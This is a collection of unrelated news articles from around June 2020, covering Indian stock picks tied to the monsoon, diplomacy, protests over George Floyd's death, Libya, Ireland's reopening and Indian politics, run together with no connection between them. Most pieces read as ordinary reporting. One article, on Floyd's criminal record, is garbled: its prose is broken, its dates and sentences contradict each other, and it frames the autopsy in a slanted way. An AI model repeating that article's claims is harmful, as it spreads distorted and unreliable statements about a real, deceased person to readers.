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Even as COVID-19 has hit all sectors of the economy, India's agriculture sector is a point of hope, which experts believe, has been relatively less affected by the coronavirus pandemic.

With the prospects of a normal monsoon, this hope is bolstered now.

The India Meteorological Department (IMD) in its second and detailed forecast said monsoon this year is likely to be 'normal' at 102 percent of the long-period average (LPA) with a model error of (+/-) 4 percent.

If the forecast holds true, this will be the second consecutive year that the country will witnesses normal/above-normal rainfall.

"The monsoon this time holds a lot of importance, as this time around it will not just have an impact on agriculture, but bearings on employment generation, auto sales, and demand for everything from cement to steel. Thus, from the equity market perspective, tractor, two-wheelers, auto/rural financing, agrochemical and select FMCG companies will benefit from the good monsoon," said Hemang Jani, Head Equity Strategist - Broking & Distribution at Motilal Oswal Financial Services.

Siddharth Sedani, Vice President - Equity Advisory, Anand Rathi Shares and Stock Brokers concurs to the view.

"The Indian monsoon will no longer just be important for agriculture but for the whole of India Inc as well as government finances, as COVID-19 induced slowdown will hinder manufacturing, services, and demand growth," Sedani said

"Monsoon seems to be a key aspect that Indian companies can look forward to this year. A good monsoon might bring good tidings, at least for some companies," he added.

Rural India contributes roughly 53 percent to India's GDP. Except for the villages very close to urban areas, rural areas were not much impacted by the COVID-19-led lockdown.

Experts point out that the rabi season ended largely on expected lines and at present, it appears the Kharif crop is unlikely to be affected and may see a normal season.

Here are the stocks that could benefit from the activity in agri sector

Analyst: Siddharth Sedani, Vice President- Equity Advisory, Anand Rathi Shares and Stock Brokers

NCC | Buy | LTP: Rs 27.15 | Target price: Rs 57 | Upside: 110%

The analyst sees NCCs multi-sector execution capabilities to come to its rescue in the immediate future and set the stage for it to emerge as one of the beneficiaries of the unaltered long-term growth prospects. Valuations, too, have turned appealing, after the recent steep fall, and prod us to change our long-held cautious stance.

"Adjusting for the COVID-impact, we slash FY21E earnings by nearly 48 percent and by nearly 0.2 percent for FY22. At the current market price, the stock quotes at EV/EBITDA of 2.6 times FY22E, against the target price implied 4 times," said the analyst.

Hindustan Unilever (HUL) | Buy | LTP: Rs 2,118 | Target price: Rs 2,452 | Upside: 16%

In terms of strategy to mitigate the short-term impact, the company has started to improve cost efficiency in its non-business segments and lower promotion spend. The companys production and sales have also scaled back to 75 percent of its total normal capacity. During the period the company has also improved market share by 50 basis points.

"While current macro economic conditions are likely to keep demand subdued in the near-term, we remain optimistic over the long-term. We believe HUL is the largest FMCG company with one of the largest footprints in terms of products and distribution networks, continued focus on strategy to target volume growth and decline in material and other costs should drive outperformance in both growth and profitability in medium to long-term," said the analyst.

Cipla | Buy | LTP: Rs 663.25 | Target price: Rs 738 | Upside: 11%

On the product filing front, Cipla has filed 259 ANDAs (Abbreviated New Drug Application) with the USFDA cumulatively (FY20) with 175 of them already approved and 22 tentative approvals. The company currently spends 7-8 percent of revenues on R&D.

In the domestic market, Cipla remains among the top five players, due to a complete range of product offerings, which covers almost all therapies, and is built on a network of nearly 7,500 medical representatives covering a doctor base of nearly 5,00,000.

"We believe with healthy earnings growth and core ROCE expansion over FY20-22E, valuations are likely to witness re-rating," said the analyst.

Tata Consumer Product | Buy | LTP: Rs 383.50 | Target price: Rs 473 | Upside: 23%

As per the analyst, the company will continue with advertisement spending to boost brand recognition and sales growth while focusing on innovation and product launches as well as restructuring moves.

"We believe the company is well-positioned for continued growth owing to its strong portfolio of branded products, expanding distribution network and the expected revenue and cost synergies from the merger with the consumer business of Tata Chemicals," said the analyst.

Crompton Greaves Consumer Electricals | Buy | LTP: Rs 229.95 | Target price: Rs 270 | Upside: 17%

The company's March quarter numbers were severely hit by COVID-19. However, the analyst expects a gradual recovery.

"We are expecting significant revenue loss in the first half of FY21, but we see demand recovery to be gradual in the second half of the year and bounce back in FY22 on a low base. Thus, we estimate 5 percent and 4 percent CAGRs in revenue and PAT over FY20-22, respectively, with margins and return ratios returning to earlier years, and FCF continuing," the analyst said.

Analyst: Jyoti Roy, DVP Equity Strategist, Angel Broking

Colgate Palmolive | Buy | LTP: Rs 1,350 | Target price: Rs 1,620 | Upside: 20%

Colgate Palmolive is the market leader in the dental care segment with over 50 percent market share and strong brand recall.

The analyst believes that the company should ultimately be able to see sharper market share gain in the toothpaste segment on the back of higher ad-spend and re-launch of Colgate Strong Teeth.

Escorts | Buy | LTP: Rs 977.30 | Target price: Rs 1,150 | Upside: 18%

Escorts is a prominent tractor player domestically with more than 11 percent market share. With rural India relatively less impacted due to COVID-19, record food-grain procurement by government agencies as well as the expectation of normal monsoon 2020, the analyst expects the tractor industry to outperform the larger automobile space in FY21E with Escorts a key beneficiary.

Coromandel International | Buy | LTP: Rs 640.60 | Target price: Rs 735 | Upside: 15%

Coromandel International is Indias second-largest phosphatic fertilizer player, engaged in the business of fertilizers, especially nutrients, crop protection and retail.

COVID-19 impact on company business has been minimal as it falls under essential service. IMD forecasts of normal monsoon bode well for its business given that sowing is up by 13 percent in its addressable market.

Enhanced sowing during the ongoing rabi season in the south is generating good demand for agri inputs

Hero MotoCorp | Buy | LTP: Rs 2,336 | Target price: Rs 2,840 | Upside: 22%

Hero MotoCorp is Indias leading motorcycle manufacturer with an overall market share of 54 percent.

In FY2020 the company kept its market share intact. Entry-level motorcycles in rural India are expected to post a faster rebound in sales post COVID-19 given good monsoon and a shift from public transportation to personal vehicles.

The views and investment tips expressed by investment experts on Moneycontrol.com are their own and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions.
Six members of a military family, including four young children, were found dead in their car in the familys garage in San Antonio, apparently after suffering from intentional carbon monoxide poisoning, the police said on Thursday.

William McManus, chief of the San Antonio Police Department, did not identify the family members, but he said they were a husband and wife in their mid-to-late 30s and four children, ranging in age from 11 months to 4 years. Two cats were found dead in a basket in the front seat, he said.

Chief McManus said there was evidence that it was not an accident. He said he did not have information about a motive, though he said it appeared to be a suicide.

He said he had been taken aback by the grim scene. Its the whole picture  its the adults, the children the pets, everything, he said. Theres no words to describe that.
Xi says China ready to work with Germany, EU to create more global certainty

BEIJING, June 4 (Xinhua) -- Chinese President Xi Jinping said Wednesday that China stands ready to work with Germany and the European Union (EU) to strengthen strategic cooperation, uphold multilateralism, tackle global challenges, and jointly add certainty to the current world of uncertainty.

In a telephone conversation in the night with German Chancellor Angela Merkel, Xi noted that it was the third time since the onset of the COVID-19 outbreak that he and Merkel had spoken over the phone, which reflects the deep political mutual trust and close strategic communication between the two sides.

The Chinese side appreciates the German government's objective and rational stand as well as its respect for science on the pandemic issue, Xi said.

He added that China is ready to work with Germany to support the work of the World Health Organization (WHO), promote international cooperation within such frameworks as the United Nations and the Group of 20, help African countries fight the coronavirus disease, and contribute to safeguarding global public health security.

Stressing the need to coordinate epidemic control and economic and social development, Xi said the general trend of the Chinese economy towards stable long-term growth with a sound momentum remains unchanged.

China, he added, will stay committed to further opening up to and expanding cooperation with the rest of the world, and continue to create a favorable environment for German enterprises to increase investment in China.

The recently launched China-Germany "fast track" arrangement will help enterprises in both countries to speed up business resumption, and maintain the stability of international industrial and supply chains, he said.

The Chinese president said he is confident that China-Germany cooperation will play its due role in helping pull the world out of the economic recession at an early date.

With China and Germany maintaining a stable and sound cooperative relationship, China stands ready to continue dialogue and exchanges with Germany, Xi said.

Noting that Germany is to take over the rotating presidency of the European Union (EU) for the second half of this year, he added that China appreciates Germany's willingness to actively promote the development of China-EU ties.

As a series of significant events of China-Germany and China-EU political exchanges are now under discussion, China is willing to keep close communication and coordination with Germany and the EU to ensure the success of these events and lift China-Germany and China-EU relations to higher levels, he added.

For her part, Merkel said that Germany attaches importance to the economic and social development plan made in China's "two sessions," and stands ready to work with China to promote work and production resumption without compromising outbreak control and continuously deepen bilateral economic cooperation.

Germany highly appreciates the announcement made by Xi that China's COVID-19 vaccine will be made a global public good, she said, adding that under current circumstances, to enhance international solidarity and multilateralism is crucial to the global fight against the pandemic.

The chancellor said Germany is willing to strengthen exchanges with China and continue to support the WHO playing its important role, so as to promote international public health security cooperation.

Germany, she added, hopes to maintain dialogue with China and boost cooperation as regards a broad range of fields and issues, and also stands ready to keep close communication with China to materialize the important events on the Germany-China and EU-China agenda and push for higher-level development of Germany-China and EU-China ties.
Regina King opened up about the 'ongoing conversation' she has had to have with her now 24-year-old son Ian Alexander, Jr. regarding police brutality.

'I think in most homes, black homes, it's not just a conversation. It's an ongoing conversation,' began the 48-year-old Watchmen star during her appearance on Jimmy Kimmel Live! on Thursday.

King also said that circumstances, like the recent senseless killing of George Floyd, make black men feel like they are 'not worthy' or 'valuable' to society.

Ongoing: Regina King opened up about the 'ongoing conversation' she has had to have with her now 24-year-old son Ian Alexander, Jr. regarding police brutality on Thursday

Important: 'I think in most homes, black homes, it's not just a conversation. It's an ongoing conversation,' began the 48-year-old Watchmen star during her appearance on Jimmy Kimmel Live!

'Its another moment thats telling them that theyre not worthy  their lives are not valuable once they walk outside of the comfort of their homes.'

'The anger that they have, it just compounds every time something like [Floyd's death] happens,' explained the Academy Award winner.

Though it is important for mothers to have conversations regarding police brutality in the United States with their African-American sons, Regina also acknowledges that it is not a simple one.

Worth: King also said that circumstances, like the recent senseless killing of George Floyd, make African-American men feel like they are 'not worthy' or 'valuable' to society; King and her son Ian Alexander Jr. pictured in 2019

'The conversation shifts every time because you have to find a way to support their feelings and make sure that you're letting them know that you hear them and that you do mirror the same sentiment.

'But you don't want them to do anything that's going to put themselves in a situation that they may not come back home, they may not talk to you again,' concluded King.

Regina shares Ian Jr., her only child, with ex Ian Alexander Sr., who she married in 1997 and divorced in 2007.

Impact: 'The anger that they have, it just compounds every time something like [Floyd's death] happens,' explained the Academy Award winner

Complex: Though it is important for mothers to have conversations regarding police brutality in the United States with their African-American sons, Regina also acknowledges that it is not a simple one

Protests have erupted across the nation in wake of the senseless killing of civilian George Floyd, who died at the hands of police in Minneapolis, Minnesota on May 25.

In the horrifying video footage of Floyd's death, he is seen saying that he can not breathe as officer Derek Chauvin, 44, kneeled on his neck.

Eventually he went silent and limp, and he was later declared dead.

Shifting: 'The conversation shifts every time because you have to find a way to support their feelings and make sure that you're letting them know that you hear them and that you do mirror the same sentiment,' explained the actress

Outrage: Protests have erupted across the nation in wake of the senseless killing of civilian George Floyd, who died at the hands of police in Minneapolis, Minnesota on May 25; protesters pictured on June 3 in West Hollywood, CA

The Minneapolis policeman accused of killing Floyd, Chauvin, was taken into custody on May 29 and charged with third-degree murder, officials said.

On Wednesday, Chauvin's charges were upgraded to second-degree murder.

Three more officers, Thomas Lane, 37, J. Alexander Kueng, 26, and Tou Thao, 34, were arrested and charged with 'aiding and abetting murder,' according to the New York Times.
The Geneva-based Inter-Parliamentary Union (IPU) on Friday expressed concern over the detention of 43 MPs in various countries in conditions of overcrowding and confined spaces during the coronavirus pandemic, calling for their release.

The IPU, of which India is a leading member, said its committee on human rights of parliamentarians held a virtual sitting and focussed particularly on MPs detained in Venezuela, Cote dIvoire and Turkey.

The committee examined the cases of 210 MPs out of its current caseload of 488 MPs from 40 countries who report human rights violations.

It said: The IPU is increasingly concerned about parliamentarians in detention during the Covid-19 pandemic due to greater risks of infection in overcrowded and confined spacesThe committee calls for the release of the parliamentarians from those three countries in light of concerns about greater vulnerability to the coronavirus in prison and a lack of due process.

In Venezuela, the IPU said it is monitoring the cases of 139 MPs from the coalition of Democratic Unity Roundtable who oppose the Nicolas Maduro Government.

In Turkey, the committee is examining alleged human rights violations against 57 current or former parliamentarians from the Peoples Democratic Party, while in Cote dIvoire, it is examining the cases of 10 opposition MPs who allegedly suffered violations of their fundamental rights since 2018.

In other cases, the IPU said the committee is monitoring closely the situation of 13 Palestinian MPs currently held in Israeli prisons. It is also urging Libyan authorities to do more to uncover the reasons behind the disappearance of MP Seham Sergiwa, who was abducted in July 2019.

Among new cases, the IPU said the committee also considered the disappearance of former Egyptian MP Mostafa al-Nagar, as well as allegations of abduction and sexual violence suffered by Zimbabwean MP Joana Mamombe.

A global body of national parliaments, the IPU was founded 1889 as the first multilateral political organisation in the world, encouraging cooperation and dialogue between all nations. Today, it comprises 179 national member parliaments and 13 regional parliamentary bodies.
Metro Manila (CNN Philippines, June 5)  The signature of President Rodrigo Duterte is the only thing missing before the controversial measure allowing the detention of suspected terrorists without a warrant for up to 24 days is enacted into law.

The House of Representatives during its last regular session on Friday adopted Senate Bill 1083, or the proposed Anti-Terrorism Act, which was passed by the upper chamber in February. Critics of the measure have said it relaxes safeguards on human rights.

The House is adopting the Senate Bill as amendment to its own version that was approved on Wednesday. This means Congress would no longer have to convene a bicameral conference committee to send a reconciled version to the President.

The proposed measure, certified by Duterte as urgent, will repeal Human Security Act of 2007 by giving more surveillance powers to the government forces.

Although Duterte is expected to enact the controversial measure, his spokesman assured that it will be subject to final review before deciding on whether to sign it or not.

Presidential Spokesperson Harry Roque also denied allegations that the bill was railroaded, saying it has been pending in Congress since 2018.

The proposed law defines a terrorist as anyone who participates in any activity which endangers a persons life, causes damage or destruction to a government facility or private property, develops or possesses explosive devices or weapons, and releases any weapons of destruction.

The police and the military can now track down suspected individuals or organizations and record discussions or communications supposedly regarding terrorism.

Once enacted into law, suspected terrorists can be detained without a warrant of arrest to up to 14 days and that period may be extended by another 10 days. Anyone who threatens to commit terrorism, perform, or incite others to do any such act also will be penalized with an imprisonment of 12 years.

Retired Senior Associate Justice Antonio Carpio said the constitutionality of certain provisions can immediately be questioned in the Supreme Court once Duterte signs the bill it into law.

Bayan Muna Rep. Carlos Zarate said they are ready to take their case to the high court, arguing that the measure poses threats against progressive groups, who previously faced "red-tagging" from state forces.
By Express News Service

GUNTUR: Andhra Pradesh Non-Resident Telugu Society (APNRTS) president Venkat S Medapati said as many as 1,900 Telugu expatriates stranded in Kuwait are being sent back in 11 flights arranged by the Kuwaiti government.

Direct flights to Vijayawada, Visakhapatnam and Chennai as part of phase 2 of the amnesty programme launched by the government there began on June 3.

With this, evacuation of all AP migrants who registered themselves under the programme will be completed, Medapati said.

With the help of CM YS Jagan Mohan Reddy, APNRTS has been continuously maintaining communication with the Ministry of External Affairs and Indian Embassy in Kuwait.

Reception teams of the state government and APNRTS staff have made arrangements for transportation of the returnees to their respective districts where they will under go institutional quarantine, he noted.

While one flight arrived in Vijayawada on June 3 with 114 expats, another one landed at Visakhapatnam airport with 117 migrants. All the migrants were taken to their respective district headquarters.

In the first phase, 2 flights carrying 295 migrants arrived in Vijayawada on May 20 and 21, which, when included, will take the total number of Telugus being brought back to AP to around 2,200.

More flights are expected in Vijayawada and Vizag on June 4 and June 10, and Chennai on June 6 and 13.
A dam planned for construction by Laos on the Mekong river will have negative impacts not only on Lao villages but also in nearby Thailand, a coalition of Thai environmental groups says, adding that the government in Bangkok should cancel plans to buy electricity from the controversial project.



The 684-megawatt Sanakham dam would be the countrys seventh large dam on the Mekong River, joining the currently operational Xayaburi and Don Sahong dams. In various stages of planning are four dams: Pak Beng, Pak Lay, Luang Prabang, and Phougnoi.



Transboundary impacts feared when the Sanakham dam goes into operation in 2028 include fluctuating water levels on the Mekongs mainstream resulting in flooding and droughts, a reduction in fish stocks on the river, and the displacement of over a thousand villagers from their land, experts say.



The Thai government should now urgently review its agreements to buy power from the dam and cancel its support, 51 Thai organizations from the Peoples Network of the Isaan Mekong Basin said in a joint statement following a May 29 teleconference.



The Thai government should be concerned about the Mekong dams, and especially about the impacts [that weve seen] over the last few years, Suwit Kulapwonghead of the Isaan Human Rights and Environmental Association and representative from the Peoples Networktold RFAs Lao Service this week.



I think the government should take action against the dam now, Suwit said, noting that the dam will be built in Vientiane provinces Sanakham district, only two kilometers from the northeastern Thai border in Loei province.



I think that the Thai government should take a close look at the Sanakham dam, because its so close to the Thai border, agreed Montri Chanthawong of the Mekong Butterfly environmental group.



Its only two to three kilometers away. And when the dam closes or opens, the water level will go up or down from four to five meters, and this will affect an area with a 100-kilometer radius all the way down to the Chiang Khan and Pakchom districts, he said.



Participation in impact studies on Mekong river dams should be opened more widely to the residents of affected areas on both sides of the border, a member of the Love Chiang Khan Group, an environmental organization in Thailands Loei province, urged.



Local people from both the Lao and the Thai sides should be allowed to take part in a real environmental, cultural, and social impact assessment, and in a real discussion about their concerns, he said.



Concerns in both countries



Villagers on both sides of the border meanwhile voiced fears over the likely impact of the dams construction in their area, with one Thai riverbank farmer saying that losses from the dams operations will outweigh the benefits.



The dam will destroy the ecosystem. It shouldnt be built, he said.



We cant oppose this project, added a villager in Sanakham district, on the Lao side of the border. If the district or the government has decided to build the dam, we cant do anything about it.



But if the Thais oppose it, it might not be built, he said.



An Environmental Social Impact Assessment of the Sanakham dam project prepared by the dams builder, the Datang Sanakham Hydropower Company, a subsidiary of Chinas Datang International Power Generation Company Ltd., states that 20,000 Lao and Thai villagers will be affected by the operation of the dam, which is set to begin construction later this year.



In addition, 1,127 people in three Lao villages will be displaced, with flooding foreseen on land belonging to 1,808 residents of three districts in Vientiane province and Xayaburi province.



Though most of the electricity eventually generated by the Sanakham dam will be exported to Thailand, Thailand itself may not need the extra power, the Save the Mekong Coalition said in a June 2 statement.



Thailand has a major over-supply of electricity, which has increased even more due to the economic fall-out from the COVID-19 pandemic, Save the Mekong said.



The COVID-19 pandemic has also highlighted the importance of the Mekongs farmlands, forests, rivers, wetlands and fisheries as a safety net during times of crisis. Local peoples continued access to rivers and natural resources are critical to ensuring a more healthy and equitable recovery from the pandemic.



Laos has built dozens of hydropower dams on the Mekong and its tributaries in its quest to become the battery of Southeast Asia, exporting the electricity they generate to other countries in the region, and is preparing to build scores more dams in the years ahead.



Though the Lao government sees power generation as a way to boost the countrys economy, the projects are controversial because of their environmental impact, displacement of villagers, and questionable financial arrangements.



Reported by RFAs Lao Service. Translated by Max Avary. Written in English by Richard Finney.
TCN News

The death of a pregnant elephant in Palakkad District of Kerala has started a new wave of hatred towards the Muslim community of India.

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The 15-year-old elephant had allegedly eaten a pineapple filled with firecrackers that exploded in its mouth, leaving it in excruciating pain while it restlessly moved around nearby villages for days. Finally, it succumbed and died in the Velliyar river.

This incident quickly got stirred into a controversy to promote hatred against Muslims when BJP leader Maneka Gandhi accused the incident had happened in Malappuram which is a Muslim majority district. She claimed, Its murder. Malappuram is famous for such incidents, its Indias most violent district.

Responding to the same, BJPs Minister of Environment, Forest and Climate Change, Prakash Javadekar, resounded Manekas accusation calling it a killing that was perpetrated by locals in Malappuram, Kerala. He even notified that central government has taken a very serious note of it.

In no time the mainstream national media started relaying misleading reports of violent Muslim locals torturing the animal and BJPs popular loyalists like Payal Rohatgi, Arun Puddur and various other leaders followed suit. A storm of hate speech ravaged into social media with hundreds of posts suspecting that the killer could be a Muslim since the incident occurred in a Muslim majority village (Malappuram)  which was later reported to be factually incorrect (the incident happened at Palakkad). News also followed that the elephant was intentionally fed the pineapple. However, an urgent probe into the matter suggests that the elephant might have accidently consumed it.

KK Sunil Kumar, Mannarkkad Divisional Forest Officer (DFO) informed that it is a common practice among locals to use country bombs for keeping away wild animals from farms and plantations.

Chief Minister of Kerala, Pinarayi Vijayan, recently corrected the misinformation that the incident was from Palakkad and not Malappuram, leading news outlets to rectify the previous information. He also tweeted, There is a targeted campaign against Kerala, Malappuram. People including Union Ministers involved in campaign against Kerala. If it was a misconception, they wouldve corrected it. But the fact that they are not correcting shows its deliberate.

As further investigation into the elephants death is continuing, journalist Dhanya Rajendra tweeted about the postmortem report which suggests, Injuries in the oral cavity, most likely due to an explosive blast in the mouth.

As of now, three suspects have been identified and one arrested in connection with the case.
Police officers are seen during a protest against the death in Minneapolis police custody of African-American man George Floyd, in Minneapolis, Minn., on May 29, 2020. (Lucas Jackson/Reuters)

Republican Leaders Criticize Far Lefts Calls to Defund the Police

After the killing of George Floyd by Minneapolis police officers, Democrats began a campaign on Twitter to defund police departments. Although grassroots organizations and progressive politicians in some cities are calling for cutting funding to their police, Republican lawmakers are fiercely opposed.

First, Democrats wanted to defund ICE. Then, they wanted to defund DHS. Now, they want to defund the police. This is how radical todays Left has become! Rep. Jim Jordan (R-Ohio) said.

Any City or Entity that Abolishes Their Police Department: What effect do you believe this will have on economic development, tourism, and public safety? If you are looking for a good place to visit or state to do business, come to #SouthCarolina, said Sen. Lindsey Graham (R-S.C.).

According to a 2016 survey done by the Cato Institute on the publics attitude toward the police, the majority of Americans have a favorable view of the police in their community. It found that 81 percent of Republicans, 59 percent of Independents, and 59 percent of Democrats view police has necessary.

We should get clear on something. Without the police, without law enforcement, without the fine men & women in blue, the Constitution is just words on a page. Rights require protection. Democracy requires the rule of law, said Sen. Josh Hawley (R-Mo.).

The Cato survey found no group is anti-cop, even though African-American and Hispanics are more likely to have neutral feelings toward police officers.

Meanwhile, the far-left wing of the Democratic party, what President Trump has labeled the Squad are the ones that have been the most vocal about defunding and disbanding the police.

The radical Left Democrats new theme is Defund the Police. Remember that when you dont want Crime, especially against you and your family. This is where Sleepy Joe is being dragged by the socialists. I am the complete opposite, more money for Law Enforcement! said President Trump.

Rep. Ilhan Omar (D-Minn.), one of the members of the Squad, supports disbanding her citys police department.

The Minneapolis Police Department has proven themselves beyond reform. Its time to disband them and reimagine public safety in Minneapolis. Thank you to @MplsWard13 for your leadership on this! said Omar (D-Minn.).

However, the survey found more African Americans think the police are too quick to use excessive force, 73 percent, as opposed to whites, 35 percent, and Hispanics, 54 percent.

A Minneapolis City Council member for Ward 13, Steve Fletcher wrote in an opinion piece for Time Magazine, Every member of the Minneapolis City Council has now expressed the need for dramatic structural change. I am one of many on the Council, including the Council President and the Chair of Public Safety, who are publicly supporting the call to disband our police department and start fresh with a community-oriented, non-violent public safety and outreach capacity.

Another Minneapolis city council member, Alondra Cano, said on Twitter, The Mpls Police Department is not reformable. Change is coming. #Justice4George.

The self-proclaimed Democratic-socialist leader Vermont Sen. Bernie Sanders wrote a Twitter post for defunding police, which was later retweeted by a Squad member, Rep. Rashida Tlaib (D-Mich.).

Every police department violating peoples civil rights must be stripped of federal funding, he wrote.
"I can't breathe," the famous last words of George Floyd, who died during a police arrest. The streets are burning with protestors claiming his fight against inequality, but as people protest for his death, there are some who wants to look into a different side of him by digging up his crimes.

Many see him as an unlikely hero that opened the tensions that had been brewing for a long time as a white police officer killed him for a $20 bogus bill, reported by The Courier Daily.

Soon after, he is benighted and seen as a victim of the establishment, but the establishment who reported him to the police, is painting a picture of a typical black man with a criminal record on several counts.

Derek Chauvin, put a knee to his neck which caused his death. But the officers are disgraced, though the damage is done and America burns. The four officers were jailed for what they did.

In the essence of fairness, the background of Floyd was revealed pinpointing all the crimes he committed.

On June 1, the Union Chief of Minneapolis Police (MPD) exposed Floyd as a violent criminal and no one will broadcast it. Some people even called the protest a terrorist plot..

Floyd made an honest living as a bouncer in a resto. He was even lecturing younger kids on giving up violence that was a contrast to what police officials claim, confirmed by the Guardian.

He moved to Minnesota from Houston to start anew. In 2014, he was jailed 5 years in Houston for a 1st-degree felony. Floyd went out of jail and left the place to start a better life. But it was cut short by Derek Chauvin when he was choked to death.

Also read: Retaliation for Coronavirus Coverage? Chinese Media Airs George Floyd Protests in US

Breaking and entering

One of the convictions revealed was in 2009 wherein he did say he was guility for a felony charge, when he assault and armed robbery in 2007, staying incarcerated for 5 years meaning to commit robbery on the woman's property.

During the robbery, the Daily Mail says that the victim saw him, and he put a gun to his belly and entered the house.

According to Daily Mail (UK), the court reported the victim identified George, the tallest, who pressed a pistol to her stomach and forced his way into the house.

Is George Floyd an addict?

An autopsy report, allegedly stated that he had taken Fentanyl, which affects the brain and the experience of pain for the one ingesting it.

When the Hennepin County medical examiners checked his corpse last June 2, 2020; they found traces of fentanyl, Methamphetamine and some compounds of cannabis and morphine that was in his system, at the time of death.

According to the report, Floyd died of complications brought about by another thing besides a knee to the neck. He had coronavirus RNA and he tested positive for the coronavirus.

Caught with cocaine

During the 90s, he was involved in two linked conviction, which was owning and stealing cocaine. But there was uncertainty if Floyd spent time in jail for it.

In August of 1998, he was jailed for 10 months in Harris County Jail for robbery, according to USA Gag.

One more minor offence is getting detained in 2002 for a month because of trespassing in another's property.

In Dec 2005, Floyd got nabbed for cocaine, and served 10 months in a jail cell.

Related article: George Floyd Autopsy Shows He Had Coronavirus That May Aggravated His Maltreatment by Police

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
London: The forces of military leader Khalifa Hifter have retreated from their last footholds in the suburbs of Tripoli, the Libyan capital, ending his 15-month-old campaign to capture the city.

Hifter, 76, a former army general and one-time CIA asset, has fought for years to try to rule Libya as a new strongman and launched his assault on Tripoli last northern spring in a last-ditch, all-or-nothing attempt to fulfil that goal.

Libyan commander Khalifa Hifter had parts of the country under his control. Credit:AP

Instead, his assault transformed what had been a simmering civil conflict among rival Libyan factions into an increasingly open proxy war among rival international powers.

The Russian mercenaries and Emirati air power backing Hifter had appeared to make his forces almost unstoppable at the start of this year. Then, the intervention of the Turkish military  and its deployment of brigades of paid Syrian fighters  helped turn the tide and instead delivered Hifter a stinging defeat.
Image Charles Negy was granted tenure by the university in 2001. Credit... Charles Negy/Twitter

The University of Central Florida said on Thursday that it had opened an investigation into complaints of bias against a professor who made comments on Twitter this week that were roundly condemned as racist.

The professor, Charles Negy, is a prolific commentator on Twitter and the author of a book titled White Shaming: Bullying Based on Prejudice, Virtue-Signaling, and Ignorance.

The university said on Thursday it was investigating his Twitter posts as well as accusations of bias in Dr. Negys classroom.

We have been receiving complaints alleging bias and unfair treatment in Dr. Negys classroom and have launched an inquiry to gather more information, the university president, Alexander N. Cartwright, and two other university officials wrote in a letter to the campus community.
Ireland will accelerate the cautious reopening of its economy, with the fourth and final phase of easing restrictions to start on July 20, three weeks earlier than scheduled, acting Taoiseach Leo Varadkar said on Friday.

Facing growing pressure from business to accelerate one of Europe's most conservative reopening plans, Varadkar also confirmed that Ireland would move to phase two next week.

Under the revised schedule, large retailers will be allowed to resume trading from Monday, shopping malls from June 15 and hotels by the end of the month, all ahead of schedule. The final phase, which includes the reopening of pubs that do not serve food, will begin on July 20 instead of Aug. 10.

"Why is now the right time? Because the data is going in the right direction," Varadkar told a news conference, referring to consistent falls in the number of cases, hospital admissions and deaths.

Ireland has reported 1,664 deaths related to 25,000 cases of COVID-19, the lung disease caused by the novel coronavirus.

By skipping the queue, hotels join restaurants in reopening from June 29, as Varadkar made a pitch for people to support the ailing domestic tourism sector by "exploring our country, as if for the first time".

Anyone entering Ireland is required to self-isolate for 14 days and the government's advice against non-essential overseas travel will remain in place for at least a number of weeks, Varadkar has said.

Ireland's chief medical officer promised to develop specific guidance on social distancing for the hospitality sector in coming days. Customers must currently remain two metres apart.

Data on Friday showed the domestic economy grew at a subdued pace in the first quarter ahead of what Finance Minister Paschal Donohoe expected to be an "unprecedented contraction" from April to June.

However, he said up-to-date data points to a gradual recovery. Donohoe extended a wage subsidy scheme till the end of August to help businesses reopen. (Reuters)

Source: www.businessworld.ie
The mayor of a Southern California city has resigned following an email in which he stated that in his area he did not 'believe there's ever been a good person of color killed by a police officer'.

James Stewart, mayor of Temecula, apologized on Thursday for the email, saying he never meant to use the word 'good.'

The email was sent on Tuesday, after a resident requested information regarding Steward's plans to end police violence and racial policing in the community.

'This issue is very important to me and my family,' the resident wrote.

James Stewart, who became mayor of Temecula this year, resigned after Tuesday's email

Stewart's response shocked and angered residents, after it circulated online.

The mayor said he is dyslexic and so used voice text to send his late-night Tuesday response, but failed to notice the added word.

'Unfortunately I did not take the time to proofread what was recorded. I absolutely did not say that,' he told the Riverside Press-Enterprise on Thursday.

'What I said is and I dont believe there has ever been a person of color murdered by police, on context to Temecula or Riverside County.

'I absolutely did not say "good". I have no idea how that popped up.'

James Stewart announced his resignation on Thursday, apologizing for any offense

Stewart said he was replying to someone 'concerned about our police officers and their sensitivity training.'

The city issued a press release late Thursday announcing that Stewart, who was elected to a four-year term as a councilor in 2016, was stepping down from his post and the city council, news outlets reported.

'You have every right to be hurt and offended. My typos and off-the-cuff response to an email on a serious topic added pain at a time where our community, and our country, is suffering,' Stewart said in a statement.

'I may not be the best writer and I sometimes misspeak, but I am not racist.'

He said he was resigning because he understood his 'sincerest apologies cannot remedy this situation.'

He told the LA Times he was hurt by citizens who do not know him personally labeling him as racist.

'It was incredibly horrible timing, but at the same time, I need to protect the city too,' he said.

'With the massive protest [on Friday], this could cause the city much more harm and focus on the city that doesn't belong there, so I figured I'd just resign.'

The mayor, who only took office this year, said he was resigning to avoid further offence

The initial email came as cities around California were the scenes of large demonstrations over the death of George Floyd, a black man who died last week after a white Minneapolis police officer pressed a knee on his neck.

Four police officers have been charged in his death.

Temecula, a city of about 115,000 southeast of Los Angeles, was one of the places where protests took place.

African Americans represent about 5 per cent of the city's population while Riverside County is about 7 per cent black, according to U.S. census figures.

Protests in California over the killing of George Floyd. Pictured is a rally on Thursday in LA

Protesters in Los Angeles on Thursday protesting at the killing of George Floyd on May 25

A demonstrator holds a rose aloft at a Black Lives Matter rally in Los Angeles on Thursday

However, black people account for nearly 18 per cent of the people who died in law enforcement custody in Riverside County between 2010 and 2018, the Press-Enterprise reported, citing a state Department of Justice database.

Riverside County also was the site of the 1998 death of Tyisha Miller, who was killed by Riverside police as she sat in a car with a pistol in her lap. Family members had called police because she appeared to be unconscious and in need of medical care. Police said she appeared to sit up and grab the gun as they entered the car.

The shooting sparked demonstrations, and four officers were fired.

Stewart said he didn't remember the shooting when he was composing his email message, which also said that 'racism is not excepted or tolerated' in the city or surrounding areas.

'I have several good friends who are African Americans, and they love living here because how safe it is for them and their families,' the email said.
Chandigarh:

AAP Party chief Arvind Kejriwal on Friday said that if AAP is voted to power in Punjab then it will ensure a prohibition on alcohol and meat around the holy area of Golden Temple.A Kejriwal, who is in on a five-day visit to Punjab, also said thatA Amritsar ward city and Anandpur Sahib will be declared holy places, if AAP comes to power in Punjab.

Earlier in the day, the car in which Delhi CM Arvind Kejriwal was travelling met with an accident in Jalandhar. Kejriwal escaped unhurt after his car hit the convoy's pilot car, reports said. No one has been injured in the accident. Here are the live updates:

